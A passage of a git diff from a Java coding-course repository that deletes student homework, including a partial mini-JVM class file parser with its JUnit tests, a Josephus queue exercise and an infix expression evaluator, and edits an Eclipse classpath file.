-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/loader/ClassFileParser.java b/group24/Homework/8-EighthWeek/loader/ClassFileParser.java
deleted file mode 100644
index a29d9572cd..0000000000
--- a/group24/Homework/8-EighthWeek/loader/ClassFileParser.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		
-		
-		
-		return null;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		return null;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		
-
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		
-
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/method/Method.java b/group24/Homework/8-EighthWeek/method/Method.java
deleted file mode 100644
index b86c57ef90..0000000000
--- a/group24/Homework/8-EighthWeek/method/Method.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-	
-	
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
-	}
-
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java b/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
deleted file mode 100644
index 14407bacbe..0000000000
--- a/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java b/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
deleted file mode 100644
index 028161adc7..0000000000
--- a/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		
-		
-		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java b/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
deleted file mode 100644
index 5657310e0d..0000000000
--- a/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-
-}
diff --git a/group24/Homework/8-EighthWeek/test/EmployeeV1.java b/group24/Homework/8-EighthWeek/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group24/Homework/8-EighthWeek/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/util/Util.java b/group24/Homework/8-EighthWeek/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group24/Homework/8-EighthWeek/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group27/383117348/.classpath b/group27/383117348/.classpath
index 58f336f5a2..a96bb3c428 100644
--- a/group27/383117348/.classpath
+++ b/group27/383117348/.classpath
@@ -1,8 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
-	<classpathentry kind="src" path="data-structure"/>
+	<classpathentry kind="src" path="src"/>
 	<classpathentry kind="src" path="lib"/>
-	<classpathentry kind="src" path="mini-jvm"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="lib" path="lib/junit.jar"/>
 	<classpathentry kind="lib" path="lib/org.hamcrest.core_1.3.0.v201303031735.jar"/>
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
deleted file mode 100644
index ff94d5e21a..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coding.basic.queue;
-
-public class CircleQueue {
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
deleted file mode 100644
index 9ff4187a53..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
- * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 
- * @author liuxin
- *
- */
-public class Josephus {
-
-	public static List<Integer> execute(int n, int m) {
-		if (n < m || n <= 0 || m <= 0) {
-			throw new RuntimeException("传入参数有误,执行失败!");
-		}
-		//保存被杀掉的数
-		List<Integer> ints = new ArrayList<Integer>();
-		//报数
-		int count = 0;
-		while(ints.size()!=n){
-			
-			for(int i=0;i<n;i++){
-				count++;
-				if(count==m){
-					ints.add(i);
-					count = 0;
-				}
-			}
-			
-		}
-		return ints;
-	}
-
-	public static void main(String[] args) {
-		List<Integer> list = execute(7, 2);
-		System.out.println(list);
-	}
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java b/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
deleted file mode 100644
index 12a3ec45be..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coding.basic.queue;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class JosephusTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testExecute() {
-		
-		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-		
-	}
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
deleted file mode 100644
index 7a6a11a3e4..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.coding.basic.queue;
-import java.util.Stack;
-
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;    
-    private Stack<E> stack2;    
-
-    
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-   
-
-
-    public boolean isEmpty() {
-       return false;
-    }
-
-
-    
-    public int size() {
-       return -1;
-    }
-
-
-
-    public void enQueue(E item) {
-        
-    }
-
-    public E deQueue() {
-        return null;
-    }
-
-
- }
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index 4406d7d304..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,181 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.StackUtil;
-
-public class InfixExpr {
-	private String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-	/**
-	 * 对expr进行解析计算
-	 * @return
-	 */
-	public float evaluate() {
-		float f = 0.0f;
-		//如果不为空继续解析
-		if (expr != null || expr.length() > 0) {
-			//如果符号不对称,抛出异常
-			if (!StackUtil.isValidPairs(expr)) {
-				try {
-					throw new Exception("格式不正确,解析表达式失败!");
-				} catch (Exception e) {
-					e.printStackTrace();
-				}
-			};
-			//将字符串转化为集合
-			ArrayList<String> list=getStringList(expr);
-			//根据获得的集合转化为后序表达式集合
-			ArrayList<String> postOrder = getPostOrder(list);
-			Stack stack = new Stack();  
-	        for (int i = 0; i < postOrder.size(); i++) {
-	        	//如果为数字,则压入栈
-	            if(Character.isDigit(postOrder.get(i).charAt(0))){  
-	                stack.push(Float.parseFloat(postOrder.get(i)));  
-	            }else{
-	            	//否则,取出栈顶两个元素进行计算.
-	                Float back = (Float)stack.pop();  
-	                Float front = (Float)stack.pop();  
-	                Float res = 0.0f;  
-	                switch (postOrder.get(i).charAt(0)) {  
-	                case '+':  
-	                    res = front + back;  
-	                    break;  
-	                case '-':  
-	                    res = front - back;  
-	                    break;  
-	                case '*':  
-	                    res = front * back;  
-	                    break;  
-	                case '/':  
-	                    res = front / back;  
-	                    break;  
-	                }  
-	                //将结果再压回栈中
-	                stack.push(res);  
-	            }  
-	        }
-	        //最终计算结果出栈;
-	        f = (Float)stack.pop();
-
-		} else {
-			//为空抛出异常
-			try {
-				throw new Exception("表达式内容为空,解析失败!");
-			} catch (Exception e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-		}
-		return f;
-	}
-	/**
-	 * 将字符串转换为集合方法
-	 * @param str
-	 * @return
-	 */
-	private ArrayList<String> getStringList(String str) {
-		ArrayList<String> result = new ArrayList<String>();
-		String num = "";
-		for (int i = 0; i < str.length(); i++) {
-			//如果为数字,叠加到num字符串中
-			if (Character.isDigit(str.charAt(i))) {
-				num = num + str.charAt(i);
-			} else {
-				//如果num不为空,表示数字字符凑够了,加到集合里
-				if (num != "") {
-					result.add(num);
-				}
-				//然后再把非数字字符也加到集合中,清空num字符串
-				result.add(str.charAt(i) + "");
-				num = "";
-			}
-		}
-		//最后判断下,num中还有值没,有的话加到集合里
-		if (num != "") {
-			result.add(num);
-		}
-		//返回结果
-		return result;
-	}
-	
-	/**
-	 * 中序表达式转后序表达式
-	 * @param list
-	 * @return
-	 */
-	private ArrayList<String> getPostOrder(ArrayList<String> list) {
-
-		ArrayList<String> result = new ArrayList<String>();
-		Stack stack = new Stack();
-		for (int i = 0; i < list.size(); i++) {
-			//如果为数字,加到集合里
-			if (Character.isDigit(list.get(i).charAt(0))) {
-				result.add(list.get(i));
-			} else {
-				switch (list.get(i).charAt(0)) {
-				//如果有左括号,先压入操作符栈中
-				case '(':
-					stack.push(list.get(i));
-					break;
-				//ok,等到右括号了
-				case ')':
-					//先看看操作符栈顶是不是左括号头头
-					while (!stack.peek().equals("(")) {
-						//不是左括号头头,就把操作符栈中的操作符弹出来一个,加到集合里,一直弹到见到左括号为止
-						result.add((String) stack.pop());
-					}
-					//最后把左括号也弹出来,这样就只有加减乘除没有括号了
-					stack.pop();
-					break;
-				default:
-					//这里全是处理加减乘除的操作
-					//如果操作符栈不为空,比较下当前操作符和操作符栈顶的操作符优先级大小
-					while (!stack.isEmpty() && compare((String) stack.peek(), list.get(i))) {
-						//如果栈顶操作符优先级大于当前,则栈中的操作符弹出加到集合里
-						result.add((String) stack.pop());
-					}
-					//否则继续压到栈中,或者之前栈中元素已经弹出,再将优先级小的操作符加到操作符栈中.
-					stack.push(list.get(i));
-					break;
-				}
-			}
-		}
-		while (!stack.isEmpty()) {
-			//最后看下操作符栈还有操作符没,有了加到集合末尾
-			result.add((String) stack.pop());
-		}
-		return result;
-	}
-	/**
-	 * 操作符优先级比较算法
-	 * @param peek
-	 * @param cur
-	 * @return
-	 */
-	public static boolean compare(String peek, String cur) {
-		//乘除优先级大于加减
-		//如果操作符栈顶操作符的优先级大于当前操作符的优先级,则返回true
-		if ("*".equals(peek) && ("/".equals(cur) || "*".equals(cur) || "+".equals(cur) || "-".equals(cur))) {
-			return true;
-		} else if ("/".equals(peek) && ("/".equals(cur) || "*".equals(cur) || "+".equals(cur) || "-".equals(cur))) {
-			return true;
-		} else if ("+".equals(peek) && ("+".equals(cur) || "-".equals(cur))) {
-			return true;
-		} else if ("-".equals(peek) && ("+".equals(cur) || "-".equals(cur))) {
-			return true;
-		}
-		//如果当前操作符的优先级大于栈顶的操作符优先级,返回false
-		return false;
-	}
-
-	public static void main(String[] args) {
-		InfixExpr expr = new InfixExpr("3*20+13*5-40/2");
-		float f = expr.evaluate();
-		System.out.println(f);
-	}
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index e2de427e62..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
